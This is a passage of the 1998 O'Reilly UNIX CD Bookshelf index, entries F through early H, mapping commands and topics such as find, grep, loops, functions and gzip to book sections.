wildcards and
UNIX Power Tools, 17.4. Looking for Files with Particular Names
UNIX Power Tools, 17.18. Using "Fast find"
xargs command and : UNIX Power Tools, 17.2. Delving Through a Deep Directory Tree
-xdev option : UNIX Power Tools, 17.25. Keeping find From Searching Networked Filesystems
findcmd script
UNIX Power Tools, 16.10. findcmd: Find a Command in Your Search Path
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
finding
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
sed & awk, 11.2.1.4. Special filenames
by age : UNIX Power Tools, 17.5. Searching for Old Files
commands
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 7.3. Command-line Processing
Learning the Korn Shell, A.7. The Future of the Korn Shell
UNIX Power Tools, 16.10. findcmd: Find a Command in Your Search Path
in databases
UNIX Power Tools, 17.19. Finding Files (Much) Faster with a find Database
UNIX Power Tools, 48.11. The index Database Program
directories
UNIX Power Tools, 14.10. Variables Help You Find Directories and Files
UNIX Power Tools, 16.21. Finding All Directories with the Same Name
doubled words : UNIX Power Tools, 29.8. Find a a Doubled Word
file contents
Learning the UNIX Operating System, 5.2.1. grep
UNIX Power Tools, 45.11. The Multipurpose jot Command
for matching text : UNIX in a Nutshell, Chapter 2, Reference: fgrep
for newline/null sequence : UNIX in a Nutshell, Chapter 2, Reference: strings
regular expressions for
UNIX in a Nutshell, Chapter 2, Reference: awk
UNIX in a Nutshell, Chapter 2, Reference: egrep
UNIX in a Nutshell, Chapter 2, Reference: grep
by file size : UNIX Power Tools, 17.14. Searching for Files by Size
file types : UNIX Power Tools, 25.8. Finding File Types
files
Learning the UNIX Operating System, 4.4.4. Finding Files
UNIX Power Tools, 9.24. Get File List by Editing Output of ls -l, grep, etc.
UNIX Power Tools, 9.24.2. Search for Text with grep
UNIX Power Tools, 14.10. Variables Help You Find Directories and Files
UNIX Power Tools, 16.26. Finding Text Files with findtext
UNIX Power Tools, 45.11. The Multipurpose jot Command
UNIX in a Nutshell, Chapter 2, Reference: find
containing specific words : UNIX Power Tools, 17.21. lookfor: Which File Has that Word?
duplicate : UNIX Power Tools, 16.21. Finding All Directories with the Same Name
Internet directory : UNIX in a Nutshell, Chapter 2, Reference: whois
links : UNIX Power Tools, 17.22. Finding the Links to a File
manual pages
UNIX Power Tools, 50.2. The apropos Command
UNIX Power Tools, 50.3. apropos on Systems Without apropos
by owner/group : UNIX Power Tools, 17.16. Searching by Owner and Group
pattern matching
UNIX in a Nutshell, Chapter 2, Reference: awk
UNIX in a Nutshell, 6. Pattern Matching
by permissions
UNIX Power Tools, 17.10. Running Commands on What You Find
UNIX Power Tools, 17.15. Searching for Files by Permission
(see also execute permissions; permissions)
search-and-replace : UNIX in a Nutshell, 6.4.1. Examples of Searching and Replacing
search path : (see PATH environment variable)
tracked aliases : Learning the Korn Shell, 3.4.2.6. PATH and Tracked Aliases
by type : UNIX Power Tools, 17.13. Searching for Files by Type
for unconnected symbolic links : UNIX Power Tools, 16.28. oldlinks: Find Unconnected Symbolic Links
findtext script
UNIX Power Tools, 16.26. Finding Text Files with findtext
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
finger command
Learning the Korn Shell, 5.2. for
UNIX in a Nutshell, Chapter 2, Reference: finger
fix command : (see fc command)
fix pseudo-command (sccs) : UNIX in a Nutshell, 17.6.2. Pseudo-commands
fixdlsrps program : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
fixed strings : sed & awk, 3.2.3. Writing Regular Expressions
fixfmps program : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
fixmacps program : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
fixpsditps program : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
fixpspps program : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
fixscribeps program : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
fixtpps program : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
fixwfwps program : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
fixwpps program : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
fixwwps program : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
flags : (see options, command)
flags, substitution
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 5.3. Substitution
flip script
UNIX Power Tools, 25.19. Reverse Lines in Long Files with flip
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
flow control
UNIX Power Tools, 41.2.4. Flow Control (We Hope)
sed & awk, 6. Advanced sed Commands
sed & awk, 6.3.3. Building Blocks of Text
sed & awk, 11.1.6. Control Flow
branching : sed & awk, 6.4.1. Branching
in C shell : UNIX Power Tools, 47.2.2.2. Flow Control
d command (sed) : sed & awk, 5.4. Delete
Emacs and : UNIX Power Tools, 32.12. Getting Around Emacs Flow Control Problems
function calls : UNIX in a Nutshell, Chapter 2, Reference: cflow
general description : Learning the Korn Shell, 5. Flow Control
n command : sed & awk, 5.10. Next
summary of constructs : Learning the Korn Shell, 5. Flow Control
flushing buffers : sed & awk, 11.2.1.3. Flushing buffered output
FMLI (Form and Message Language Interpreter) : UNIX in a Nutshell, Chapter 2, Reference: fmli
fmli command : UNIX in a Nutshell, Chapter 2, Reference: fmli
fmt command
UNIX Power Tools, 9.20. Too Many Files for the Command Line
UNIX Power Tools, 35.2. Neatening Text with fmt
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: fmt
filtering text from vi : UNIX Power Tools, 30.37. Neatening Lines
re-format comment lines : UNIX Power Tools, 35.4. recomment: Clean Up Program Comment Blocks
fmt.sh script
UNIX Power Tools, 35.3. Alternatives to fmt
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
fmtmsg command : UNIX in a Nutshell, Chapter 2, Reference: fmtmsg
FNR variable
sed & awk, 7.7. System Variables
sed & awk, 10.1.2. Assigning the Input to a Variable
fold command
UNIX Power Tools, 43.8. Fixing Margins with pr and fold
UNIX in a Nutshell, Chapter 2, Reference: fold
fonts
UNIX in a Nutshell, Chapter 2, Reference: download
UNIX in a Nutshell, 12.5.5. Font and Character Size
footers, editing : UNIX Power Tools, 52.8.2.4. Unsharring the Sources
for loops
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 5.3. case
Learning the Korn Shell, 6.3.3. String Formatting Options
Learning the vi Editor, 7.4.1. Looping in a Shell Script
UNIX Power Tools, 1.5. Anyone Can Program the Shell
UNIX Power Tools, 9.12. The Bourne Shell for Loop
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
sed & awk, 8.2.3. For Loop
sed & awk, 8.4.1. Associative Arrays
UNIX in a Nutshell, Chapter 4, Reference: for
UNIX in a Nutshell, Chapter 11, Reference: for
advantages : UNIX Power Tools, 44.17. Handling Arguments with while and shift
in command-line options : UNIX Power Tools, 44.15.2. With a Loop
command substitution : UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
command-line arguments : UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
disadvantages : UNIX Power Tools, 44.17. Handling Arguments with while and shift
egrep expressions built : UNIX Power Tools, 48.2. Online Phone and Address Lists
examples
UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
UNIX Power Tools, 48.2. Online Phone and Address Lists
UNIX Power Tools, 50.3. apropos on Systems Without apropos
jot used in : UNIX Power Tools, 45.11. The Multipurpose jot Command
multiple variables : UNIX Power Tools, 45.17. Making a for Loop with Multiple Variables
in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
storing line of text with multiple words : UNIX Power Tools, 45.34. Arrays in the Bourne Shell
uses for : UNIX Power Tools, 45.16. Standard Input to a for Loop
while loops compared to : UNIX Power Tools, 45.16. Standard Input to a for Loop
wildcards : UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
foreach loops
UNIX Power Tools, 9.11. Repeating a Command with a foreach Loop
UNIX in a Nutshell, Chapter 5, Reference: foreach
C shells : UNIX Power Tools, 47.5. Using C Shell Arrays
examples : UNIX Power Tools, 47.5. Using C Shell Arrays
foreground jobs : UNIX Power Tools, 12.1.1. Foreground and Background
killing : UNIX Power Tools, 38.9. Killing Foreground Jobs
nice command and : UNIX Power Tools, 39.10. A nice Gotcha
fork system call
UNIX Power Tools, 1.11. How the Shell Executes Other Commands
UNIX Power Tools, 38.2. fork and exec
Form and Message Language Interpreter : UNIX in a Nutshell, Chapter 2, Reference: fmli
form letters : UNIX Power Tools, 9.14. Using Here Documents for Form Letters, etc.
formatting
awk output
sed & awk, 7.9. Formatted Printing
sed & awk, B.2.2. Format of a Script
diff output
UNIX Power Tools, 28.8. More Friendly diff Output
(see also diff command)
error messages : UNIX in a Nutshell, Chapter 2, Reference: fmtmsg
files
UNIX in a Nutshell, Chapter 2, Reference: newform
UNIX in a Nutshell, Chapter 2, Reference: pr
index (example program) : sed & awk, 12.2. Generating a Formatted Index
system time : sed & awk, 11.2.3.11. Time management for programmers
formfile : UNIX Power Tools, 45.22. Handling Files Line-by-Line
formprog script
UNIX Power Tools, 45.22. Handling Files Line-by-Line
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
examples : UNIX Power Tools, 45.22. Handling Files Line-by-Line
forms, script for filing : UNIX Power Tools, 45.22. Handling Files Line-by-Line
Forsyth, Charles : Learning the Korn Shell, A.4. pdksh
FORTRAN
Learning the Korn Shell, 5.1.4. Integer Conditionals
Learning the Korn Shell, 5.5. while and until
source file extension : UNIX Power Tools, 1.17. Filename Extensions
fortune program
Learning the UNIX Operating System, 3.6. Customizing Your Account
UNIX Power Tools, 3.3. Electronic Fortune Cookies
FPAT variable (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
FPATH variable
Learning the Korn Shell, 4.1.1.1. Autoloaded functions
Learning the Korn Shell, 10.2.3. Types of Global Customization
UNIX in a Nutshell, 4.3.3. Other Shell Variables
Framed Acceess Command Environment : UNIX in a Nutshell, Chapter 2, Reference: face
free disk space, reporting : UNIX in a Nutshell, Chapter 2, Reference: df
free software : UNIX Power Tools, 52.2. Where Does Free Software End and UNIX Begin?
Free Software Foundation (FSF)
Learning the Korn Shell, A.5. bash
UNIX Power Tools, 1.8. There Are Many Shells
UNIX Power Tools, 8.2. Introduction to bash
sed & awk, Availability of sed and awk
frozen terminal : Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
FS variable
sed & awk, 7.5.1. Referencing and Separating Fields
sed & awk, 7.5.2. Field Splitting: The Full Story
sed & awk, 7.7. System Variables
sed & awk, 11.2.1.2. Obtaining individual characters
fsck program : UNIX Power Tools, 1.14. The Kernel and Daemons
FTP (File Transfer Protocol)
Learning the Korn Shell, 9.2. A Korn Shell Debugger
Learning the Korn Shell, A.5. bash
Learning the UNIX Operating System, 4.4.2.4. ftp
UNIX Power Tools, 1.33. UNIX Networking and Communications
UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
UNIX Power Tools, 9.19. For the Impatient: Type-Ahead
sed & awk, FTP
UNIX in a Nutshell, Chapter 2, Reference: ftp
software archives : UNIX Power Tools, 52.7.2. Online Archive
ftpd daemon, login shell and : UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
ftpfile script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
Ftpmail : sed & awk, Ftpmail
FTPMAIL mail server : UNIX Power Tools, 52.7.2.2. FTPMAIL
full duplex : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
full pathnames : Learning the Korn Shell, 1.6.1. Directories
func command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: func
function command (awk) : UNIX in a Nutshell, Chapter 11, Reference: function
function command (ksh, sh) : UNIX in a Nutshell, Chapter 4, Reference: function
function keys, mapping
Learning the vi Editor, 7.3.7. Mapping Function Keys
UNIX Power Tools, 31.2.1. Command Mode Maps
function keyword : sed & awk, 9.3. Writing Your Own Functions
functions
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.5. bash
Learning the UNIX Operating System, 7.2. Shell Aliases and Functions
sed & awk, 11.1.10. Functions
sed & awk, B.2.6. Statements and Functions
. (dot) command compared to : UNIX Power Tools, 44.23. Reading Files with the . and source Commands
advantages over scripts : Learning the Korn Shell, 4.1.1. Functions
arithmetic : (see arithmetic functions)
autoloading
Learning the Korn Shell, 4.1.1.1. Autoloaded functions
Learning the Korn Shell, 6.3.5. Function Options
Learning the Korn Shell, 10.2.3. Types of Global Customization
UNIX in a Nutshell, Chapter 4, Reference: autoload
built-in
gawk : sed & awk, 11.2.3.9. Additional functions
tawk : sed & awk, 11.3.2.2. Additional built-in tawk functions
C programs : UNIX Power Tools, 52.8.2.7. Functions, Libraries, and Header Files
creating library of : sed & awk, 9.3.2. Maintaining a Function Library
definition : Learning the Korn Shell, 4.1.1. Functions
deleting : Learning the Korn Shell, 4.1.1. Functions
differences between scripts and : Learning the Korn Shell, 4.1.1. Functions
exporting : Learning the Korn Shell, 6.3.5. Function Options
listing
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 6.3.5. Function Options
UNIX in a Nutshell, Chapter 2, Reference: ctags
local variables in : Learning the Korn Shell, 6.3.2. Local Variables in Functions
in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
order of precedence in command lookup
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 7.3. Command-line Processing
POSIX shell syntax : Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
preventing lookup as : Learning the Korn Shell, 5.1.1. Exit Status and Return
recursive : Learning the Korn Shell, 8.6.2. Nested Subshells
running : Learning the Korn Shell, 4.1.1. Functions
scope control (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
shell : (see shell functions)
string-related : sed & awk, 9.2. String Functions
in SunOS Bourne shell : Learning the Korn Shell, A.1. The Bourne Shell
syntax : Learning the Korn Shell, 4.1.1. Functions
system-wide : Learning the Korn Shell, 10.2.3. Types of Global Customization
time-related (gawk) : sed & awk, 11.2.3.11. Time management for programmers
tracing execution of
Learning the Korn Shell, 6.3.5. Function Options
Learning the Korn Shell, 9.1.1. Set Options
trigonometric : sed & awk, 9.1.1. Trigonometric Functions
user-defined : sed & awk, 9.3. Writing Your Own Functions
in workalike shells : Learning the Korn Shell, A.6. Workalikes on PC Platforms

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: G

g command : UNIX Power Tools, 11.7. History Substitutions
g command (ed) : sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
g command (sed) : UNIX in a Nutshell, Chapter 10, Reference: g
G command (sed)
sed & awk, 6.3. Hold That Line
sed & awk, 6.3.2. Correcting Index Entries (Part II)
UNIX in a Nutshell, Chapter 10, Reference: G
g substitution flag
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 5.3. Substitution
gawk scripting language
UNIX Power Tools, 33.11. Quick Reference: awk
UNIX Power Tools, 50.12. Common UNIX Error Messages
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX Power Tools, 52.5.3.4. Installing a Single Program
sed & awk, 10.8. Limitations
sed & awk, 11.2.3. GNU awk (gawk)
UNIX in a Nutshell, 11.1. Command-line Syntax
(see also awk scripting language; nawk scripting language)
built-in functions : sed & awk, 11.2.3.9. Additional functions
built-in variables : sed & awk, 11.2.3.8. Additional variables
multiple files and : sed & awk, 10.5.2. Working with Multiple Files
version history : UNIX Power Tools, 33.12. Versions of awk
gcc C compiler : UNIX Power Tools, 52.8.1.1. Missing Programs
gcore command : UNIX in a Nutshell, Chapter 2, Reference: gcore
gencat command : UNIX in a Nutshell, Chapter 2, Reference: gencat
general form of vi commands : Learning the vi Editor, 2.3.3.1. Words
generating filenames : UNIX in a Nutshell, Chapter 2, Reference: basename
generating random numbers : sed & awk, 9.1.3. Random Number Generation
gensub() : sed & awk, 11.2.3.10. A general substitution function
gent script : sed & awk, 13.7. gent - Get a termcap Entry
get command : (see G command (sed))
get command (ftp) : Learning the UNIX Operating System, 4.4.2.4. ftp
get command (SCCS)
UNIX Power Tools, 20.13. SCCS Basics
UNIX in a Nutshell, 17.2.2. Retrieving a File
UNIX in a Nutshell, Chapter 17, Reference: get
getline command (awk)
sed & awk, 10.1. The getline Function
sed & awk, 10.4. A Menu-Based Command Generator
sed & awk, 11.1.9. The getline Function
UNIX in a Nutshell, Chapter 11, Reference: getline
getmac script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
getopt command
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 6.1.3. getopts
Learning the Korn Shell, A.1. The Bourne Shell
UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
UNIX Power Tools, 44.18. Standard Command-Line Parsing
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
examples : UNIX Power Tools, 44.18. Standard Command-Line Parsing
parsing output : UNIX Power Tools, 44.18. Standard Command-Line Parsing
getopts command
Learning the Korn Shell, 6.1.3. getopts
Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
Learning the Korn Shell, A.1. The Bourne Shell
UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
UNIX in a Nutshell, Chapter 4, Reference: getopts
advantages
UNIX Power Tools, 44.17. Handling Arguments with while and shift
Learning the Korn Shell, 6.1.3. getopts
gettxt command : UNIX in a Nutshell, Chapter 2, Reference: gettxt
getty program : UNIX Power Tools, 38.2. fork and exec
Gisin, Eric : Learning the Korn Shell, A.4. pdksh
glass ttys : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
glimpse script
UNIX Power Tools, 27.8. glimpse and agrep
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
glob command (csh) : UNIX in a Nutshell, Chapter 5, Reference: glob
global addressing : sed & awk, 4.2. A Global Perspective on Addressing
global command : (see g command (ed))
global command (ex)
UNIX Power Tools, 33.4. Useful ex Commands
UNIX in a Nutshell, Chapter 9, Reference: global
global replacement (vi) : Learning the vi Editor, 6. Global Replacement
collecting lines : Learning the vi Editor, 6.4.4.4. Collecting Lines
confirming : Learning the vi Editor, 6.1. Confirming Substitutions
context-sensitive
Learning the vi Editor, 6. Global Replacement
Learning the vi Editor, 6.2. Context-sensitive Replacement
delete blank lines : Learning the vi Editor, 6.4.3. More Examples
delete variable text string : Learning the vi Editor, 6.4.4.1. Deleting an Unknown Block of Text
different character as pattern delimiter : Learning the vi Editor, 6.4.3. More Examples
inserting lines : Learning the vi Editor, 7.3.3. Protecting Keys from Interpretation by ex
lines that don't match : Learning the vi Editor, 6.4.3. More Examples
on text blocks : Learning the vi Editor, 6.4.2. Block Move by Patterns
one or more characters : Learning the vi Editor, 6.4.3. More Examples
pattern matching : Learning the vi Editor, 6.3. Pattern-matching Rules
repeat an ex command : Learning the vi Editor, 6.4.4.3. Using :g to Repeat a Command
reverse line order : Learning the vi Editor, 6.4.3. More Examples
reverse word order
Learning the vi Editor, 6.4.3. More Examples
Learning the vi Editor, 6.4.4.2. Switching Items in a Database
search for class of words : Learning the vi Editor, 6.4.1. Search for General Class of Words
simple
Learning the vi Editor, 6. Global Replacement
Learning the vi Editor, 6.2. Context-sensitive Replacement
undoing : Learning the vi Editor, 6.1. Confirming Substitutions
uppercase conversion : Learning the vi Editor, 6.4.3. More Examples
whole word
Learning the vi Editor, 6.4. Pattern-matching Examples
Learning the vi Editor, 6.4.3. More Examples
global variables : sed & awk, 9.3. Writing Your Own Functions
glossary program (example) : sed & awk, 8.4.3. A Glossary Lookup Script
gmon.out file : UNIX in a Nutshell, Chapter 2, Reference: cc
gnroff program
UNIX Power Tools, 43.17. Don't Have nroff? Try gnroff or awf
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
GNU : Learning the Korn Shell, A.5. bash
GNU awk
(see awk scripting language)
(see gawk scripting language)
GNU Emacs : (see Emacs editor)
GNU fileutils : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
GNU make utility : UNIX Power Tools, 52.8.1.1. Missing Programs
GNU project : sed & awk, Availability of sed and awk
GNU sed, error messages : sed & awk, 2.3.1.1. Command garbled
"go" character : UNIX Power Tools, 41.2.4. Flow Control (We Hope)
goto command (csh) : UNIX in a Nutshell, Chapter 5, Reference: goto
gprof command
UNIX in a Nutshell, Chapter 2, Reference: gprof
(see also lprof command; prof command)
grabchars
UNIX Power Tools, 44.13. read: Reading from the Keyboard
UNIX Power Tools, 45.32. A Better read Command: grabchars
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
graphical user interface (GUI)
Learning the Korn Shell, 1. Korn Shell Basics
Learning the Korn Shell, A.3. wksh
graphics
conversion programs : UNIX Power Tools, 43.25. The Portable Bitmap Package
formatting in nroff/troff : UNIX in a Nutshell, 16.3. Pic
pbm (portable bitmap) : UNIX Power Tools, 43.25. The Portable Bitmap Package
pgm (graymap) format : UNIX Power Tools, 43.25. The Portable Bitmap Package
pnm format : UNIX Power Tools, 43.25. The Portable Bitmap Package
ppm (pixmap) format : UNIX Power Tools, 43.25. The Portable Bitmap Package
Graphics script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
Greek characters (Eqn preprocessor) : UNIX in a Nutshell, 16.2.4. Greek Characters
grep command
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 1.7.1. Standard I/O
Learning the Korn Shell, 4.3.2. Patterns and Regular Expressions
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 5.1.2. Combinations of Exit Statuses
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 7.2.2. read
Learning the Korn Shell, 7.2.2.3. Code blocks
Learning the Korn Shell, 8.2.2. Suspending a Job
Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
Learning the Korn Shell, 10.3.2. A System Break-in Scenario
Learning the UNIX Operating System, 5.2.1. grep
UNIX Power Tools, 9.16. Command Substitution
UNIX Power Tools, 27.1. Different Versions of grep
UNIX Power Tools, 27.2. Searching for Text with grep
UNIX Power Tools, 27.8. glimpse and agrep
UNIX Power Tools, 27.9. New greps Are Much Faster
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 4.4.2. Making Changes Across a Set of Files
UNIX in a Nutshell, Chapter 2, Reference: grep
(see also agrep script; egrep script; fgrep script; hgrep script)
addup script using : UNIX Power Tools, 49.7. Total a Column with addup
-c option
UNIX Power Tools, 15.8. Getting a List of Non-Matching Files with grep -c
UNIX Power Tools, 49.7. Total a Column with addup
compound searches : UNIX Power Tools, 27.14. Compound Searches
customizing prompt character : UNIX Power Tools, 1.9. Which Shell Am I Running?
customizing with perl : UNIX Power Tools, 27.12. Make Custom grep Commands (etc.) with perl
directory trees and : UNIX Power Tools, 17.20. grepping a Directory Tree (and a Gotcha)
example of
UNIX Power Tools, 1.4. Using Pipes to Create a New Tool
UNIX Power Tools, 49.7. Total a Column with addup
-f option : UNIX Power Tools, 44.17. Handling Arguments with while and shift
file searches with
UNIX Power Tools, 9.24. Get File List by Editing Output of ls -l, grep, etc.
UNIX Power Tools, 9.24.2. Search for Text with grep
-i (case insensitive)
Learning the Korn Shell, 4.4. Command Substitution
UNIX Power Tools, 17.21. lookfor: Which File Has that Word?
-l option
Learning the Korn Shell, 4.4. Command Substitution
UNIX Power Tools, 9.16. Command Substitution
UNIX Power Tools, 15.7. Getting a List of Matching Files with grep -l
older BSD version of : Learning the Korn Shell, 4.4. Command Substitution
redirecting output : UNIX Power Tools, 45.20. Overview: Open Files and File Descriptors
multiline : UNIX Power Tools, 27.11. A Multiline Context grep Using sed
pattern-matching metacharacters : UNIX in a Nutshell, 6.2. Metacharacters, Listed by UNIX Program
sed with
UNIX Power Tools, 27.11. A Multiline Context grep Using sed
UNIX Power Tools, 27.15. Narrowing a Search Quickly
with type-ahead feature : UNIX Power Tools, 9.19. For the Impatient: Type-Ahead
-v option
UNIX Power Tools, 27.3. Finding Text That Doesn't Match
UNIX Power Tools, 45.5. A File That Shows Itself... and What #! Does
UNIX Power Tools, 51.4. Who's On?
-w option : UNIX Power Tools, 27.4. Finding a Pattern Only When It's a Word
gres program : sed & awk, 3.2.11. What's the Word? Part II
groff program
UNIX Power Tools, 43.16. groff
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
group ID (GID) : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
grouping commands (sh) : UNIX Power Tools, 13.8. Using {list} to Group Bourne Shell Commands
grouping operations : (see parentheses)
grouping sed commands
sed & awk, 4.2.1. Grouping Commands
sed & awk, 5.1. About the Syntax of sed Commands
groups
UNIX Power Tools, 17.16. Searching by Owner and Group
UNIX Power Tools, 22.2.2. Which Group is Which?
UNIX Power Tools, 22.13. Groups and Group Ownership
(see also SGID bit; users)
changing/specifying : UNIX Power Tools, 22.5. Group Permissions in a Directory with the setgid Bit
defined : UNIX Power Tools, 22.2.1. User, Group, and World
denying permission by : UNIX Power Tools, 22.14. Add Users to a Group to Deny Permission
displaying for user : UNIX in a Nutshell, Chapter 2, Reference: groups
file ownership for, changing : UNIX in a Nutshell, Chapter 2, Reference: chgrp
listing IDs for : UNIX in a Nutshell, Chapter 2, Reference: id
logging in to : UNIX in a Nutshell, Chapter 2, Reference: newgrp
newgrp command : UNIX Power Tools, 22.13. Groups and Group Ownership
searching by : UNIX Power Tools, 17.16. Searching by Owner and Group
groups command
UNIX Power Tools, 22.13. Groups and Group Ownership
UNIX Power Tools, 22.15. Juggling Permissions
UNIX in a Nutshell, Chapter 2, Reference: groups
groups program : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
gsub()
sed & awk, 9.2. String Functions
sed & awk, 9.2.3. Substitution Functions
sed & awk, 11.2.3.10. A general substitution function
gsub command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: gsub
gunzip utility
UNIX Power Tools, 19.5. Using tar to Create and Unpack Archives
UNIX Power Tools, 19.7. Extracting Files from a Compressed Archive
UNIX Power Tools, 24.7. Compressing Files to Save Space
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
gxcat command : UNIX Power Tools, 24.7. Compressing Files to Save Space
.gz filename extension : UNIX Power Tools, 1.17. Filename Extensions
gzcat script
UNIX Power Tools, 19.7. Extracting Files from a Compressed Archive
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
in Bourne shell scripts : UNIX Power Tools, 44.15.1. With the $@"
examples : UNIX Power Tools, 44.15.1. With the $@"
gzip utility
UNIX Power Tools, 19.5. Using tar to Create and Unpack Archives
UNIX Power Tools, 24.6. Save Space with Tab Characters
UNIX Power Tools, 24.7. Compressing Files to Save Space
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
file extension : UNIX Power Tools, 1.17. Filename Extensions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: H

h command (sed)
sed & awk, 6.3. Hold That Line
sed & awk, 6.3.1. A Capital Transformation
UNIX in a Nutshell, Chapter 10, Reference: h
H command (sed)
sed & awk, 6.3. Hold That Line
UNIX in a Nutshell, Chapter 10, Reference: H
.h filename extension : UNIX Power Tools, 1.17. Filename Extensions
Hacker's Dictionary, The : UNIX Power Tools, 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
hackerese, interpreting : UNIX Power Tools, 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
hacking : UNIX Power Tools, 1.7. Power Grows on You
half duplex system : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
half-baked mode : (see cbreak mode)
HANGUP signal
Learning the Korn Shell, 8.4.3. Ignoring Signals
UNIX Power Tools, 38.8. What Are Signals?
UNIX Power Tools, 38.17. Automatically Kill Background Processes on Logout in csh
hard disk quota limits : UNIX Power Tools, 24.17. Disk Quotas
hard links
UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
UNIX Power Tools, 18.4. More About Links
(see also symbolic links)
copying : UNIX Power Tools, 18.15. Copying Directory Trees with cp -r
finding : UNIX Power Tools, 17.22. Finding the Links to a File
hardpaths shell variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 14.13. Which Directory Am I in, Really?
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
hardware flow control
UNIX Power Tools, 41.2.4. Flow Control (We Hope)
UNIX in a Nutshell, Chapter 2, Reference: stty
(see RTS/CTS flow control)
hardware platforms : UNIX Power Tools, 52.5.3. Installing Pre-Compiled Binaries
hash command (ksh, sh) : UNIX in a Nutshell, Chapter 4, Reference: hash
hash mark : (see #)
